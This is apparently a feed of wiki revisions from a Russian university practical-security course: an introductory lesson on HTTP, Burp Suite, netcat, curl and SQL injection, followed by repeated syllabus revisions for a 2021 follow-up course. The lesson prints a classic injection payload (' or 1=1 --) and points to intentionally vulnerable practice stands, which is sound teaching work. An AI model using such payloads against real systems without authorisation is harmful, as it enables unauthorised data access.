		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=673"/>
		<updated>2022-06-30T17:25:54Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* HTTP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года].&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года]&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [http://demo.secsem.ru/workshop/burp Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы. Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=583</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=583"/>
		<updated>2021-06-02T16:42:52Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]], [https://youtu.be/Dz7r4pEoprs видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды], [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка], [https://www.youtube.com/watch?v=yPmCs39Aodc видео])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни ([https://www.youtube.com/watch?v=dtoUPpVwGIo видео])&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=582</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=582"/>
		<updated>2021-05-25T12:48:45Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]], [https://www.youtube.com/watch?v=movbw--okVQ видео])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды], [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка], [https://www.youtube.com/watch?v=yPmCs39Aodc видео])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни ([https://www.youtube.com/watch?v=dtoUPpVwGIo видео])&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=581</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
